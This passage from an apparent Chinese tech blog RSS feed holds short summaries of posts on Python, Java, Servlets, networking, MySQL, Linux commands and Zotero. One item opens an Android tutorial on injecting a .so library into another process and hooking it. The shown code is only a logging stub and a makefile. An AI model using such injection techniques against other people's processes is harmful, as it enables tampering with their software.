      <description>欢迎使用Markdown编辑器写博客 Python对于文件操作非常方便，很大一部分是因为os这个库，在做优达城深度学习作业的时候里面有一堆os，各种列表推导式混合os.path，一下就绕晕了。这里做点笔记，方便自己学习&amp;amp;复习。&#xA;如上图，我当前目录是/home/mao/tensorflow-master/tensorflow/examples/udacity&#xA;在我当前目录下有 1.os.path.exists(&#39;notMNIST_large&#39;) 返回True&#xA;2.os.stat(&#39;notMNIST_large.tar.gz&#39;) 返回的答案是posix.stat_result(st_mode=33270, st_ino=1448325, st_dev=2049, st_nlink=1, st_uid=1000, st_gid=1000, st_size=247336696, st_atime=1484708728, st_mtime=1484663203, st_ctime=1484708728)其中st_size是该文件的大小，单位是Byte&#xA;3.os.path.splitext(&#39;notMNIST_large.tar.gz&#39;) 返回的是(&#39;notMNIST_large.tar&#39;, &#39;.gz&#39;)&#xA;4.os.path.join(&#39;notMNIST_large&#39;, &#39;A&#39;) 返回的是 ‘notMNIST_large/A’&#xA;5.os.listdir(&#39;notMNIST_large&#39;) 返回的是该路径下所有文件名字 [&#39;I&#39;, &#39;E.pickle&#39;, &#39;B&#39;, &#39;A.pickle&#39;, &#39;G&#39;, &#39;D.pickle&#39;, &#39;J&#39;, &#39;F&#39;, &#39;E&#39;, &#39;G.pickle&#39;, &#39;J.pickle&#39;, &#39;C&#39;, &#39;D&#39;, &#39;H.pickle&#39;, &#39;B.pickle&#39;, &#39;I.pickle&#39;, &#39;A&#39;, &#39;C.pickle&#39;, &#39;H&#39;, &#39;F.pickle&#39;]&#xA;6.来个列表推导式和os混合起来的爽一爽&#xA;root = os.path.splitext(os.path.splitext(&#39;notMNIST_large&#39;)[0])[0] [os.path.join(root, d) for d in sorted(os.listdir(root)) if os.path.isdir(os.path.join(root, d))] 分析一下：首先是 这个root的答案是notMNIST_large,因为内层的splitext[0]的结果是notMNIST_large.tar，然后外层的splitext[0]的结果是notMNIST 接着我们看列表推导式这里： 先看for d in sorted(os.listdir(root)),这个的结果是把notMNIST_large下面的所有文件文件夹按照顺序排列好赋给d。 答案是&#xA;A A.pickle B B.</description>
    </item>
    <item>
      <title>从零开始学_JavaScript_系列（33）——dom.append()与$.append()</title>
      <link>https://bchobby.github.io/posts/048620d49b90d0d3d08b0bfbbdb355cd/</link>
      <pubDate>Thu, 19 Jan 2017 15:20:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/048620d49b90d0d3d08b0bfbbdb355cd/</guid>
      <description>（39）dom.append()与$.append()&#xA;通过原生js获取到的dom，和通过jQuery获取到的dom，都有append方法，但是他们表现出来的效果是有所区别的。&#xA;具体来说，如代码：&#xA;&amp;lt;div id=&#34;test1&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div id=&#34;test2&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; var dom1 = document.getElementById(&#34;test1&#34;); dom1.append(&#39;原生js获取的dom的append方法是不能：&amp;lt;b&amp;gt;加粗&amp;lt;/b&amp;gt;和&amp;lt;em&amp;gt;斜体&amp;lt;/em&amp;gt;的&#39;); var dom2 = $(&#34;#test2&#34;); dom2.append(&#39;jQuery获取到的dom的append方法是可以：&amp;lt;b&amp;gt;加粗&amp;lt;/b&amp;gt;和&amp;lt;em&amp;gt;斜体&amp;lt;/em&amp;gt;的&#39;); &amp;lt;/script&amp;gt; 显示结果是：&#xA;原生js获取的dom的append方法是不能：&amp;lt;b&amp;gt;加粗&amp;lt;/b&amp;gt;和&amp;lt;em&amp;gt;斜体&amp;lt;/em&amp;gt;的&#xA;jQuery获取到的dom的append方法是可以：加粗和斜体的</description>
    </item>
    <item>
      <title>面试题（有部分答案）</title>
      <link>https://bchobby.github.io/posts/a028f3dd39a44b6bf34e346a6d5b8e2b/</link>
      <pubDate>Wed, 18 Jan 2017 17:11:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a028f3dd39a44b6bf34e346a6d5b8e2b/</guid>
      <description>面试题（有答案）：&#xA;1. String类为什么是final的。&#xA;答：主要是为了“效率” 和 “安全性” 的缘故。若 String允许被继承, 由于它的高度被使用率, 可能会降低程序的性能，所以String被定义成final。&#xA;2. HashMap的源码，实现原理，底层结构。&#xA;3. 说说你知道的几个Java集合类：list、set、queue、map实现类咯。。。&#xA;4. 描述一下ArrayList和LinkedList各自实现和区别&#xA;5. Java中的队列都有哪些，有什么区别。&#xA;6. 反射中，Class.forName和classloader的区别&#xA;答：共同点&#xA;1. 两者都会将用户指定的类加载到内存中，供用户使用&#xA;不同点：&#xA;Class.forName方法有要不要初始static变量的参数，而ClassLoader.loadClass()没有；Class.forName的重载方法是静态的，而ClassLoader.loadClass不是。&#xA;7. Java7、Java8的新特性(baidu问的,好BT)&#xA;8. Java数组和链表两种结构的操作效率，在哪些情况下(从开头开始，从结尾开始，从中间开始)，哪些操作(插入，查找，删除)的效率高&#xA;答：数组在随机访问数据、随机增加数据、随机删除数据的执行效率上比链表的效率高，数据量越小，两者之间效率的差距越小，数据量越大差距越大。&#xA;9. Java内存泄露的问题调查定位：jmap，jstack的使用等等&#xA;10. string、stringbuilder、stringbuffer区别&#xA;11. hashtable和hashmap的区别&#xA;13 .异常的结构，运行时异常和非运行时异常，各举个例子&#xA;14. String a= “abc” String b = “abc” String c = new String(“abc”) String d = “ab” + “c” .他们之间用 == 比较的结果&#xA;15. String 类的常用方法&#xA;16. Java 的引用类型有哪几种&#xA;17. 抽象类和接口的区别&#xA;18. java的基础类型和字节大小。</description>
    </item>
    <item>
      <title>Servlet第三篇【request和response简介、response的常见应用】</title>
      <link>https://bchobby.github.io/posts/6113ec9c785cdf77ad2be3ba578e0091/</link>
      <pubDate>Wed, 18 Jan 2017 15:35:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6113ec9c785cdf77ad2be3ba578e0091/</guid>
      <description>response、request对象 Tomcat收到客户端的http请求，会针对每一次请求，分别创建一个代表请求的request对象、和代表响应的response对象&#xA;既然request对象代表http请求，那么我们获取浏览器提交过来的数据，找request对象即可。response对象代表http响应，那么我们向浏览器输出数据，找response对象即可。&#xA;什么是HttpServletResponse对象？ http响应由状态行、实体内容、消息头、一个空行组成。HttpServletResponse对象就封装了http响应的信息。&#xA;HttpServletResponse的应用 调用getOutputStream()方法向浏览器输出数据 调用getOutputStream()方法向浏览器输出数据,getOutputStream()方法可以使用print()也可以使用write()，它们有什么区别呢？我们试验一下。代码如下 //获取到OutputStream流 ServletOutputStream servletOutputStream = response.getOutputStream(); //向浏览器输出数据 servletOutputStream.print(&#34;aaaa&#34;); 成功输出，好像没什么毛病。 我们试着输出中文试试 //获取到OutputStream流 ServletOutputStream servletOutputStream = response.getOutputStream(); //向浏览器输出数据 servletOutputStream.print(&#34;中国！&#34;); 出异常了！！！ 为什么会出现异常呢？在io中我们学过，outputStream是输出二进制数据的，print()方法接收了一个字符串，print()方法要把“中国”改成二进制数据，Tomcat使用IOS 8859-1编码对其进行转换,“中国”根本对ISO 8859-1编码不支持。所以出现了异常我们再看看write()方法，先向浏览器输出英文数据 response.getOutputStream().write(&#34;aaa&#34;.getBytes()); 没有问题 再试试输出中文数据 response.getOutputStream().write(&#34;你好呀我是中国&#34;.getBytes()); 貌似也没有问题。 为什么使用write()方法能够正常向浏览器输出中文呢？&#34;你好呀我是中国&#34;.getBytes()这句代码在转成byte[]数组的时候默认查的是gb2312编码，而“你好呀我是中国”支持gb2312编码，所以可以正常显示出来。但是，程序要实现通用性，应该使用的是UTF-8编码，我们在字符串转换成字节数组时指定UTF-8编码，看看会怎么样。 response.getOutputStream().write(&#34;你好呀我是中国&#34;.getBytes(&#34;UTF-8&#34;)); 好的，成功把它搞成乱码了！！！ 为什么它变成了乱码呢？原因是这样的：我在向服务器输出的中文是UTF-8编码的，而浏览器采用的是GBK，GBK想显示UTF-8的中文数据，不乱码才怪呢！ - 既然如此，我将浏览器的编码改成UTF-8试试。&#xA;乱码问题又解决了。可是，每次编写UTF-8程序时都要去网页上改编码格式吗？这样明显不可能的。既然HTTP响应有对浏览器说明回送数据是什么类型的消息头，那么HttpServletResponse对象就应该有相对应的方法告诉浏览器回送的数据编码格式是什么于是乎就去查找Servlet API，找到了设置消息头的方法 //设置头信息，告诉浏览器我回送的数据编码是utf-8的 response.setHeader(&#34;Content-Type&#34;, &#34;text/html;charset=UTF-8&#34;); response.getOutputStream().write(&#34;你好呀我是中国&#34;.getBytes(&#34;UTF-8&#34;)); 浏览器在显示数据时，自动把页面的编码格式置换成UTF-8，乱码问题也解决了 另外，除了使用HttpServletResponse对象设置消息头的方法，我可以使用html的标签模拟一个http消息头&#xA;下面是代码：&#xA;//获取到servletOutputStream对象 ServletOutputStream servletOutputStream = response.getOutputStream(); //使用meta标签模拟http消息头，告诉浏览器回送数据的编码和格式 servletOutputStream.write(&#34;&amp;lt;meta http-equiv=&#39;content-type&#39; content=&#39;text/html;charset=UTF-8&#39;&amp;gt;&#34;.getBytes()); servletOutputStream.write(&#34;我是中国&#34;.getBytes(&#34;UTF-8&#34;)); 乱码问题也可以解决 调用getWriter()方法向浏览器输出数据 对于getWriter()方法而言，是Writer的子类，那么只能向浏览器输出字符数据，不能输出二进制数据 使用getWriter()方法输出中文数据,代码如下： //获取到printWriter对象 PrintWriter printWriter = response.getWriter(); printWriter.write(&#34;看完博客点赞！&#34;); 喜闻可见的事又出现了，我又出现乱码了。 为什么出现乱码了呢？由于Tomcat是外国人的写，Tomcat默认的编码是ISO 8859-1，当我们输出中文数据的时候，Tomcat会依据ISO 8859-1码表给我们的数据编码，中文不支持这个码表呀，所以出现了乱码既然如此，我设置一下编码不就好了吗，代码如下： //原本是ISO 8859-1的编码，我设置成UTF-8 response.</description>
    </item>
    <item>
      <title>udp socket connect一个不存在的地址后调用sendto返回111错误（connect refused）</title>
      <link>https://bchobby.github.io/posts/196cde7eb39f898970c2de4bcfbe96dd/</link>
      <pubDate>Tue, 17 Jan 2017 13:16:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/196cde7eb39f898970c2de4bcfbe96dd/</guid>
      <description>udp socket connect一个不存在的地址后调用sendto返回111错误（connect refused）&#xA;udp socket 可以调用connect，这个就不说，不了解的可以网上查资料，下面直接说返回111错误的原因&#xA;udp socket 发送流程 sendto-&amp;gt;sock_sendmsg-&amp;gt;__sock_sendmsg-&amp;gt;udp_sendmsg-&amp;gt;ip_make_skb-&amp;gt;__ip_append_data-&amp;gt;sock_alloc_send_skb-&amp;gt;sock_alloc_send_pskb&#xA;到了sock_alloc_send_pskb这个函数里，在发送前会调用sock_error检查该socket是否有错误，如果有错误，就直接返回了，由于链接一个不存在的地址，所以sock_error检查失败，返回错误111（connection refused），sock_error代码如下，检查sk-&amp;gt;sk_err&#xA;static inline int sock_error(struct sock *sk) { int err; if (likely(!sk-&amp;gt;sk_err)) return 0; err = xchg(&amp;amp;sk-&amp;gt;sk_err, 0); return -err; } 接下来再说一下sk-&amp;gt;sk_err何时被置成111，通过用systemtap捕捉到 0xffffffff8148ad40 : udp_err+0x0/0x20 [kernel] 0xffffffff8148f6c0 : icmp_unreach+0x140/0x2d0 [kernel] 0xffffffff8148f430 : icmp_rcv+0x290/0x330 [kernel] 0xffffffff814621fd : ip_local_deliver_finish+0xdd/0x2d0 [kernel] 0xffffffff81462488 : ip_local_deliver+0x98/0xa0 [kernel] 0xffffffff8146194d : ip_rcv_finish+0x12d/0x440 [kernel] 0xffffffff81461ed5 : ip_rcv+0x275/0x350 [kernel] 0xffffffff8142bedb : __netif_receive_skb+0x49b/0x6e0 [kernel] 0xffffffff8142df88 : netif_receive_skb+0x58/0x60 [kernel] 0xffffffff8142e090 : napi_skb_finish+0x50/0x70 [kernel] 0xffffffff81430719 : napi_gro_receive+0x39/0x50 [kernel] udp_err调用的是__udp4_lib_err，由于链接一个不存在的地址，在发送数据包的时候，会返回一个icms 目标地址不可达的错误ICMP_DEST_UNREACH，在__udp4_lib_err函数的最后倒数第4行，将sk-&amp;gt;sk_err置成了ECONNREFUSED（111），所以在发送数据包的时候，就检测到了这个错误</description>
    </item>
    <item>
      <title>CSS 图片居中显示不变形，显示图片中间部分</title>
      <link>https://bchobby.github.io/posts/9d9c425328d14af13e81c3f42355d5eb/</link>
      <pubDate>Mon, 16 Jan 2017 09:38:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d9c425328d14af13e81c3f42355d5eb/</guid>
      <description>&amp;lt;div style=&#34;background-image:url(这里填写图片的路径}); background-repeat: no-repeat; background-position:center center; background-size: cover; width:165px;height:105px;&#34;&amp;gt; &amp;lt;/div&amp;gt;&#x9;其他属性没什么可说的，不懂自己百度，&#xA;最后一个属性，值得注意的两个值：cover和contain&#xA;因为w3school说的有点绕， 简单说明一下&#xA;cover:让图片填充满父节点，超出部分隐藏，仅显示中间，这才是我们想要的效果。&#xA;contain:让图片根据父节点宽高等比例缩放。</description>
    </item>
    <item>
      <title>数据分析师的能力体系</title>
      <link>https://bchobby.github.io/posts/31d12602dba0ea9dce4eb1131e581392/</link>
      <pubDate>Sun, 15 Jan 2017 08:19:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31d12602dba0ea9dce4eb1131e581392/</guid>
      <description>文章是转发天善大数据（https://www.hellobi.com/）的文章，文章没有链接。&#xA;数据分析师的能力体系 如下图： 数学知识 数学知识是数据分析师的基础知识。 对于初级数据分析师，了解一些描述统计相关的基础内容，有一定的公式计算能力即可，了解常用统计模型算法则是加分。 对于高级数据分析师，统计模型相关知识是必备能力，线性代数（主要是矩阵计算相关知识）最好也有一定的了解。 而对于数据挖掘工程师，除了统计学以外，各类算法也需要熟练使用，对数学的要求是最高的。 数学知识方面，还没有到达到数据挖掘工程师的级别，需要的就是算法的重新整理和熟练使用；&#xA;分析工具 对于初级数据分析师，玩转Excel是必须的，数据透视表和公式使用必须熟练，VBA是加分。另外，还要学会一个统计分析工具，SPSS作为入门是比较好的。 对于高级数据分析师，使用分析工具是核心能力，VBA基本必备，SPSS/SAS/R至少要熟练使用其中之一，其他分析工具（如Matlab）视情况而定。 对于数据挖掘工程师……嗯，会用用Excel就行了，主要工作要靠写代码来解决呢。 初级水平啊，VBA和R，另外SPSS和SAS的工具，最好配置。&#xA;编程语言 对于初级数据分析师，会写SQL查询，有需要的话写写Hadoop和Hive查询，基本就OK了。 对于高级数据分析师，除了SQL以外，学习Python是很有必要的，用来获取和处理数据都是事半功倍。当然其他编程语言也是可以的。 对于数据挖掘工程师，Hadoop得熟悉，Python/Java/C++至少得熟悉一门，Shell得会用……总之编程语言绝对是数据挖掘工程师的最核心能力了。 SQL和Python，努力的方向，两年没有学习shell了，搭载Linux系统很有必要。&#xA;业务理解 业务理解说是数据分析师所有工作的基础也不为过，数据的获取方案、指标的选取、乃至最终结论的洞察，都依赖于数据分析师对业务本身的理解。 对于初级数据分析师，主要工作是提取数据和做一些简单图表，以及少量的洞察结论，拥有对业务的基本了解就可以。 对于高级数据分析师，需要对业务有较为深入的了解，能够基于数据，提炼出有效观点，对实际业务能有所帮助。 对于数据挖掘工程师，对业务有基本了解就可以，重点还是需要放在发挥自己的技术能力上。&#xA;逻辑思维 这项能力在我之前的文章中提的比较少，这次单独拿出来说一下。 对于初级数据分析师，逻辑思维主要体现在数据分析过程中每一步都有目的性，知道自己需要用什么样的手段，达到什么样的目标。 对于高级数据分析师，逻辑思维主要体现在搭建完整有效的分析框架，了解分析对象之间的关联关系，清楚每一个指标变化的前因后果，会给业务带来的影响。 对于数据挖掘工程师，逻辑思维除了体现在和业务相关的分析工作上，还包括算法逻辑，程序逻辑等，所以对逻辑思维的要求也是最高的。&#xA;数据可视化 数据可视化说起来很高大上，其实包括的范围很广，做个PPT里边放上数据图表也可以算是数据可视化，所以我认为这是一项普遍需要的能力。 对于初级数据分析师，能用Excel和PPT做出基本的图表和报告，能清楚的展示数据，就达到目标了。 对于高级数据分析师，需要探寻更好的数据可视化方法，使用更有效的数据可视化工具，根据实际需求做出或简单或复杂，但适合受众观看的数据可视化内容。 对于数据挖掘工程师，了解一些数据可视化工具是有必要的，也要根据需求做一些复杂的可视化图表，但通常不需要考虑太多美化的问题。&#xA;协调沟通 对于初级数据分析师，了解业务、寻找数据、讲解报告，都需要和不同部门的人打交道，因此沟通能力很重要。 对于高级数据分析师，需要开始独立带项目，或者和产品做一些合作，因此除了沟通能力以外，还需要一些项目协调能力。 对于数据挖掘工程师，和人沟通技术方面内容偏多，业务方面相对少一些，对沟通协调的要求也相对低一些。&#xA;快速学习 无论做数据分析的哪个方向，初级还是高级，都需要有快速学习的能力，学业务逻辑、学行业知识、学技术工具、学分析框架……数据分析领域中有学不完的内容，需要大家有一颗时刻不忘学习的心。 以上，就是我对数据分析师能力的总结。 数据分析师的工具体系 一图说明问题 可以从图上看到，Python在数据分析中的泛用性相当之高，流程中的各个阶段都可以使用Python。所以作为数据分析师的你如果需要学习一门编程语言，那么强力推荐Python～ 以上，本期内容就讲完了。</description>
    </item>
    <item>
      <title>Thread中ThreadLocal.ThreadLocalMap映射表的初始化</title>
      <link>https://bchobby.github.io/posts/d1b1d3220a978e2df12a949444d0466c/</link>
      <pubDate>Wed, 11 Jan 2017 23:05:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1b1d3220a978e2df12a949444d0466c/</guid>
      <description>转载请注明出处：http://blog.csdn.net/jevonscsdn/article/details/54353177 【Jevons’Blog】&#xA;ThreadLocal的目的和作用： 用于实现线程内的数据共享，即对于相同的程序代码，多个模块在同一个线程中运行时要共享一份数据，而在另外线程中运行时又共享另外一份数据。 每个线程调用全局ThreadLocal对象的set方法，就相当于往其内部的map增加一条记录，key就是ThreadLocal对象,而value就是各自线程通过set方法传进去的值。在线程结束时，可以调用ThreadLocal.clear()方法，这样会更快释放内存（非必调，因为线程结束后也可以自动释放相关的ThreadLocal变量）。&#xA;当我们需要使用到线程本地变量时，常常会想到ThreadLocal类，而每一个线程都各自维护着一个ThreadLocal.ThreadLocalMap映射表：&#xA;public class Thread implements Runnable { ... /* ThreadLocal values pertaining to this thread. This map is maintained * by the ThreadLocal class. */ ThreadLocal.ThreadLocalMap threadLocals= null; ... } 下面我们通过源代码分析Thread中持有变量threadLocals的初始化过程。&#xA;先来看一下初始化方法：&#xA;public class ThreadLocal&amp;lt;T&amp;gt; { ... void createMap(Thread t, T firstValue) { t.threadLocals = new ThreadLocalMap(this, firstValue); } ... } 可以看出该 createMap(Thread t, T firstValue)方法为Thread类中的threadLocals进行了初始化操作。&#xA;再追踪一下ThreadLocalMap的构造方法源码：&#xA;ThreadLocalMap(ThreadLocal firstKey, Object firstValue) { table = new Entry[INITIAL_CAPACITY]; int i = firstKey.</description>
    </item>
    <item>
      <title>ftp被暴力破解小小经历！</title>
      <link>https://bchobby.github.io/posts/f5c6b42047c31106d9ec5361d97b2e18/</link>
      <pubDate>Mon, 09 Jan 2017 14:42:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5c6b42047c31106d9ec5361d97b2e18/</guid>
      <description>总是有那么一群人，闲的没事乱搞服务器！也不知道谁在暴力破解公司的ftp。&#xA;日志服务器不停报警，不停的用户密码尝试登陆ftp，倒不是担心你登陆，密码复杂性也够一段时间破解的。漏洞的话就要看攻击者的 道行了。关键是我担心的是我的日志服务器啊，要不停的记录这些东西。看着不舒服影响心情。&#xA;动态查看日志：（如果尝试比较多的ip可手动禁止访问，当然也可以写个ftp防止暴力破解脚本，如果尝试次数过多，iptables暂时封闭即可。）&#xA;查看ip，阿里云。逗我呢。也不知道谁躺枪了。估计连接vpn或者其它方式搞得！&#xA;先写个acl禁止再说。平静了。。。&#xA;反思：防火墙只允许公司连接ftp，这是什么鬼？公司也没有搭建vpn之类的东西。&#xA;难道局域网被入侵了？道行还不够，大家觉得呢？</description>
    </item>
    <item>
      <title>充分性，必要性，充分条件，必要条件的区别</title>
      <link>https://bchobby.github.io/posts/d27eec345b2c42e27c103d8e98f29eed/</link>
      <pubDate>Mon, 09 Jan 2017 07:47:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d27eec345b2c42e27c103d8e98f29eed/</guid>
      <description>要啃一些论文，先将一些概念搞清楚&#xA;令：A是命题，B是结论&#xA;必要性：A→B&#xA;充分性：B→A&#xA;A→B：A是B的充分条件&#xA;A成立B一定成立，A不成立B不一定不成立&#xA;B→A：A是B的必要条件&#xA;A成立B不一定成立，A不成立B一定不成立&#xA;A↔B：AB互为充要条件（充分必要），即B成立当且仅当A成立&#xA;转载于:https://www.cnblogs.com/acha/p/6263887.html</description>
    </item>
    <item>
      <title>10分钟了解MySQL5.7对原生JSON的支持与用法</title>
      <link>https://bchobby.github.io/posts/c540442b744c9d9682be83865550d7bb/</link>
      <pubDate>Sun, 08 Jan 2017 10:02:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c540442b744c9d9682be83865550d7bb/</guid>
      <description>Part1:JSON格式的支持&#xA;版本终于支持了原生的JSON格式,即将关系型数据库和文档型NO_SQL数据库集于一身。本文接下来将对这特性分别就和各自实现的方法异同进行介绍和演示。&#xA;Part2:创建相应表结构&#xA;[root@HE3 ~]# mysql -V&#xA;mysql Ver Distrib , for linux- (x86_64) using EditLine wrapper&#xA;mysql&amp;gt; create database helei;&#xD;Query OK, 1 row affected ( sec)&#xD;mysql&amp;gt; use helei;&#xD;Database changed&#xD;mysql&amp;gt; create table helei (id int(10) unsigned NOT NULL,context json default null,primary key(id));&#xD;Query OK, 0 rows affected ( sec)&#xD;mysql&amp;gt; show create table helei \G&#xD;*************************** 1. row ***************************&#xD;Table: helei&#xD;Create Table: CREATE TABLE `helei` (&#xD;`id` int(10) unsigned NOT NULL,&#xD;`context` json DEFAULT NULL,&#xD;PRIMARY KEY (`id`)&#xD;) ENGINE=InnoDB DEFAULT CHARSET=utf8&#xD;1 row in set ( sec) Part3:构造数据&amp;amp;测试</description>
    </item>
    <item>
      <title>Linux下没有sz和rz命令</title>
      <link>https://bchobby.github.io/posts/05df007f2c686f2a6419d87fa170600f/</link>
      <pubDate>Sat, 07 Jan 2017 15:57:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05df007f2c686f2a6419d87fa170600f/</guid>
      <description>问题描述 新装的CentOS 6.5 没有sz/rz命令，sz/rz工具包&#xA;解决办法 在CentOS命令行运行以下命令&#xA;yum install lrzsz 过程 [root@xxt downloads]# yum install lrzsz Loaded plugins: fastestmirror Determining fastest mirrors * base: mirrors.cqu.edu.cn * extras: mirrors.cqu.edu.cn * updates: mirrors.cqu.edu.cn base | 3.7 kB 00:00 extras | 3.3 kB 00:00 extras/primary_db | 30 kB 00:00 updates | 3.4 kB 00:00 updates/primary_db | 3.6 MB 00:00 Setting up Install Process Resolving Dependencies --&amp;gt; Running transaction check ---&amp;gt; Package lrzsz.i686 0:0.12.20-27.1.el6 will be installed --&amp;gt; Finished Dependency Resolution Dependencies Resolved ================================================================================ Package Arch Version Repository Size ================================================================================ Installing: lrzsz i686 0.</description>
    </item>
    <item>
      <title>文献管理工具Zotero使用心得</title>
      <link>https://bchobby.github.io/posts/7f37e7d7a17495131770e1a999c49007/</link>
      <pubDate>Thu, 05 Jan 2017 17:36:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f37e7d7a17495131770e1a999c49007/</guid>
      <description>之前一直想有一个管理文献的好工具，但囿于麻烦都没有去做。&#xA;最近需要阅读大量的文献，便重新拾起了这个念头，在几经搜索后，选定了Zotero作为文献管理工具。&#xA;至于为什么选择这个软件，我也许并说不清，网上有很多对比评价的帖子，可以略加参考。&#xA;那到现在为止，我也使用了大半个月了，就来分享下Zotero的使用心得吧。&#xA;Zotero官网：https://www.zotero.org/&#xA;1． 下载安装Zotero&#xA;首先要指导Zotero是主要分为2个版本，其一是独立版本，其二是浏览器插件版本。先说浏览器插件版本，如果用的浏览器是firefox，那和Zotero兼容性最高，表现也最出色，具有和独立版本媲美的功能。如果是其他的浏览器，也可以选择下载。插件版本的优势在于可以直接在浏览器中进行右键或者点击相关按钮对网页进行条目建立，并下载其中的文献添加详细信息。虽然独立版本和浏览器插件版本是可以同时存在的，但由于Zotero的同步策略做的尚不完美，可能在同步的时候会出现小问题。所以选择版本的时候需要稍加斟酌。&#xA;由于Zotero服务器建立在国外，访问和下载时速度会受限。可以考虑通过百度搜索关键词下载，但有可能下载到的并不是最新版的。这个也没关系，可以通过自动更新解决。&#xA;假设现在下载好了Zotero安装包，安装过程很简单，没有需要特别注意的地方。如果之前下载的是旧版本，则可以通过Zotero程序的【帮助-检查更新】来自动安装最新的版本。如果更新过程比较慢，也没有关系，可以放心的点关闭，会在后台继续进行下载更新。&#xA;2． 配置Zotero&#xA;a) 同步设置&#xA;Zotero支持在线同步，可以在多个不同的终端进行访问自己的文献库，所以需要注册一个帐号。可以直接在官网注册完后，进入程序的【工具-首选项-同步】相关地方填入帐号密码进行同步。&#xA;对于插件版本的Zotero设置也类似。&#xA;b) 搜索设置（PDF索引）&#xA;这个设置非常重要，因为Zotero有个很强大的功能，可以在直接拖入PDF后，右键对其进行条目的自动创建（重新抓去PDF的元数据），尽管对某些来源的PDF并不是很好的支持，但也会方便很多。这个功能首先要得到一些PDF辅助程序的支持，这个在Zotero程序的【工具-首选项-搜索-PDF索引】下面可以确认安装状态，如果显示未安装，则点击检查更新就可以进行自动下载安装了。这里速度可能有点慢，多试几次就行~安装完了重新打开程序会显示下图界面。&#xA;c) 引用设置（参考文献插入）&#xA;这个也关系到一个很好用的功能，就是自动生成参考文献条目来插入到word或者latex中。进入到【工具-首选项-引用】确认word插件的安装状态，如果没有安装就点击重新安装即可。【样式】栏目下还可以对要导出的参考文献条目格式进行配置。&#xA;d) 数据存储位置设置&#xA;因为随着使用时间增长，文献库会日渐庞大，因此不建议直接使用默认的数据存储位置（C盘）。这个也可以在【工具-首选项-高级-文件和文件夹】栏目下进行修改，选择数据存储位置-自定义，然后选择目标目录即可。之后会提示你需要手动将Zotero原数据库下的文件移动到新目录下，这个很方便，可以直接点击打开数据文件夹，然后将里面的内容全部移动到目标文件夹下就可以了。&#xA;e) 其他设置&#xA;针对Zotero的其他设置，比如字体大小等，也可以在【工具-首选项-常规】下进行设置。&#xA;3． Zotero的使用&#xA;这里就介绍简单的使用方法，首先在左侧可以建立层次的目录文件夹。在每个目录下都可以添加条目，或者通过拖动PDF到中间空白处并右键抓去元数据来建立条目。如果PDF抓取元数据失败也没事，可以右键PDF选择建立父条目。在新建的条目右侧选中信息栏目，可以手动填入文献的相关信息，方便查阅。同时在空的条目下，也可以以添加附件的形式将PDF等格式的文件添入其中，这样以后双击该条目就可以直接打开PDF来查阅。&#xA;此外，Zotero还有很好用的笔记功能，在选中条目后，在右侧的笔记处可以添加任意数目的笔记条目来进行记录。&#xA;最后，要生成参考文献条目时，可以在Zotero文献目录下多选多个条目，右键-从选中条目建立引文目录，在弹出的窗口中设置预期的格式，并选择插入的方式（如剪贴板），然后就可以用复制的形式将引文直接复制到word的相应位置处。</description>
    </item>
    <item>
      <title>Android中实现so注入进程</title>
      <link>https://bchobby.github.io/posts/0fd5e0ae86010965d7b7d00304bf33e4/</link>
      <pubDate>Tue, 03 Jan 2017 22:01:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fd5e0ae86010965d7b7d00304bf33e4/</guid>
      <description>这篇博客主要实现将so文件注入到进程中，并且在被注入的进程中执行so文件中的方法，先说下环境使用的是4.4的模拟器，嘻嘻.，参考 Android中的so注入(inject)和挂钩(hook) - For both x86 and arm ，我只是整合了这些资源，并将其run起来，感谢作者提供的文件和思路&#xA;先说下大概的实现思路吧：&#xA;创建so文件所在进程的应用，创建c文件，并使用ndk-build编译出可执行so文件创建执行so文件所在进程应用，创建c文件，在main方法中指定需要注入的进程，并执行第一步build出的so文件中的方法，并使用ndk-build编译出可执行命令，push进去手机，执行该命令即可下面会用到Android中ndk开发，如果有不熟悉的，可以参考我之前的博客Android NDK开发 ##创建编译可执行文件&#xA;首先创建一个应用hellodemo，用来编译出可执行文件(后面会将该文件注入到指定的进程)，在hellodemo中创建jni目录，在该目录下创建hello.c文件，hello.c将用来编译生成可执行文件。&#xA;###hello.c&#xA;#include &amp;lt;unistd.h&amp;gt; #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;android/log.h&amp;gt; #include &amp;lt;elf.h&amp;gt; #include &amp;lt;fcntl.h&amp;gt; #define LOG_TAG &#34;DEBUG&#34; #define LOGD(fmt, args...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, fmt, ##args) void hook_entry(char * a){ LOGD(&#34;Hook success, pid = %d\n&#34;, getpid()); while(1) { LOGD(&#34;Hello *********** %s\n&#34;, a); } } 可以看到在当前hello.c文件中，创建一个hook_entry方法，不断打印当前传入的字符串参数值&#xA;###创建Android.mk&#xA;LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) LOCAL_LDLIBS += -L$(SYSROOT)/usr/lib -llog #LOCAL_ARM_MODE := arm LOCAL_MODULE := hello LOCAL_SRC_FILES := hello.</description>
    </item>
    <item>
      <title>CentOS7 如何查看端口是被哪个应用/进程占用及kill</title>
      <link>https://bchobby.github.io/posts/205066d6ee00d8e89b95987d16991ce9/</link>
      <pubDate>Mon, 02 Jan 2017 21:21:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/205066d6ee00d8e89b95987d16991ce9/</guid>
      <description>有时启动应用时会发现端口已经被占用，这时我们希望知道是哪个应用/进程在使用该端口，及如何kill它。 检查端口被哪个进程占用 netstat -lnp|grep 8000 8000请换为你需要的端口，如：80 如下图， 找到进程号：11100&#xA;查看进程的详细信息 ps 11100 杀掉进程 kill -9 11100 强制杀掉编号为11100的进程</description>
    </item>
    <item>
